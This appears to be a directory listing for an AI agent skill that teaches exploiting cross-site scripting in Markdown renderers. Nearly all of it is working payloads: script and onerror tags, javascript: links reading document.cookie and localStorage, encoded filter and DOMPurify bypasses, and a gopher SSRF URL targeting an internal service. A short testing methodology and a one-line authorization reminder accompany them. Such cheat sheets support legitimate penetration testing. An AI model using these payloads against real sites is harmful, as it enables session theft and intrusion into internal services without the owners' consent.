# Xss In Markdown

> How to find and exploit XSS vulnerabilities in Markdown parsers. Use this skill whenever the user mentions XSS in markdown, markdown injection, markdown XSS payloads, testing markdown fields for cross-site scripting, or any security testing involving markdown rendering. This includes situations where users need to test markdown input fields, understand markdown XSS vectors, or enumerate markdown parser vulnerabilities.

- Skill: `abelrguezr/xss-in-markdown` (Agent Skill, multi-file: 2 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/xss-in-markdown`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/xss-in-markdown/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/xss-in-markdown

---


# XSS in Markdown

When you have the ability to inject code in markdown, there are several techniques to trigger XSS when the code gets interpreted by markdown parsers.

## Attack Vectors

### 1. HTML Tag Injection

The most common way to get XSS in markdown is to inject HTML tags that execute JavaScript, since many markdown interpreters accept HTML:

```html
<script>
  alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload="alert(1)">
<body onload="alert(1)">
```

**When to use:** Test these first when you have raw markdown input. They work on most unfiltered markdown parsers.

### 2. JavaScript Links

If HTML tags are blocked, try markdown link syntax with JavaScript protocols:

```markdown
[a](javascript:prompt(document.cookie))
[Basic](javascript:alert('Basic'))
[LocalStorage](javascript:alert(JSON.stringify(localStorage)))
[CaseInsensitive](JaVaScRiPt:alert('CaseInsensitive'))
[URL](javascript://www.google.com%0Aalert('URL'))
[InQuotes]('javascript:alert("InQuotes")')
[a](j a v a s c r i p t:prompt(document.cookie))
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](javascript:window.onerror=alert;throw%201)
```

**When to use:** When HTML tags are filtered but markdown links are allowed. The spaced-out `j a v a s c r i p t` variant can bypass simple filters.

### 3. Image Event Syntax Abuse

Exploit markdown image syntax with event handlers:

```markdown
![Uh oh...](<"onerror="alert('XSS')>)
![Uh oh...](<https://www.example.com/image.png"onload="alert('XSS')>)
![Escape SRC - onload](<https://www.example.com/image.png"onload="alert('ImageOnLoad')>)
![Escape SRC - onerror](<"onerror="alert('ImageOnError')>)
![a](https://www.google.com/image.png"onload="alert(1))
![a]("onerror="alert(1))
![XSS'"`onerror=prompt(document.cookie)](x)
```

**When to use:** When image markdown is allowed but direct HTML is blocked. The angle bracket syntax `<...>` can help escape and inject event handlers.

### 4. HTML Sanitizer Bypasses

When the application sanitizes HTML before passing it to the markdown parser, exploit misinterpretations between the sanitizer and markdown parser:

```html
<div
  id="1

![](contenteditable/autofocus/onfocus=confirm('qwq')//index.html)">
  -----------------------------------------------
  <a
    title="a

<img src=x onerror=alert(1)>"
    >yep</a
  >
  ------------------------------------------------ [x](y '<style>
    ')<!--
  </style>
  <div id="x--><img src=1 onerror=alert(1)>"></div>
```

**When to use:** When you detect HTML sanitization (like DOMPurify) before markdown parsing. These payloads exploit the order of operations.

### 5. Gopher Protocol

Use gopher to send arbitrary requests to internal services:

```
![pwn](gopher://127.0.0.1:1337/_GET%20/api/dev%20HTTP/1.1%0D%0AHost:%20127.0.0.1:1337%0D%0Ax-api-key:%20934caf984a4ca94817ead87d37af4b3%0D%0AConnection:%20close%0D%0A%0D%0A)
```

**When to use:** For SSRF attacks when you need to make requests to internal services through the markdown renderer.

### 6. Encoding and Obfuscation Bypasses

Various encoding techniques to bypass filters:

```markdown
[a](javascript:alert&#65534;(1&#41;)
[a](Javas&#99;ript:alert(1&#41;)
[a](Javas%26%2399;ript:alert(1&#41;)
[a](javascript:confirm(1)
[a](javascript://www.google.com%0Aprompt(1))
[a](javascript://%0d%0aconfirm(1);com)
[a](javascript:window.onerror=confirm;throw%201)
[a](javascript:new%20Function`al\ert\`1\``;)
```

**When to use:** When basic payloads are filtered. Try HTML entities, URL encoding, and case variations.

## Testing Methodology

1. **Start simple**: Test basic `<script>` and `<img onerror>` tags first
2. **Try markdown links**: If HTML is blocked, test `javascript:` protocol links
3. **Test image syntax**: Try the `![alt](url"onerror=...)` pattern
4. **Check for sanitization**: If you see DOMPurify or similar, use sanitizer bypass payloads
5. **Fuzz with variations**: Use encoding, spacing, and case variations
6. **Test gopher**: For SSRF opportunities

## Common Filter Bypasses

- **Case variation**: `JaVaScRiPt:` instead of `javascript:`
- **Spacing**: `j a v a s c r i p t:` with spaces
- **HTML entities**: `&#58;` for `:`, `&#99;` for `c`
- **URL encoding**: `%0A` for newline, `%0d%0a` for CRLF
- **Error handlers**: `window.onerror=alert;throw 1`
- **Data URIs**: `data:text/html;base64,...`

## Payload Sources

For additional payloads, reference:
- https://github.com/cujanovic/Markdown-XSS-Payloads
- https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields

## Important Notes

- Always test in a controlled environment with proper authorization
- Some markdown parsers (like CommonMark) don't allow HTML by default
- The effectiveness depends on the specific markdown library and its configuration
- Client-side markdown libraries may behave differently from server-side ones
- Always verify the actual markdown parser being used before selecting payloads

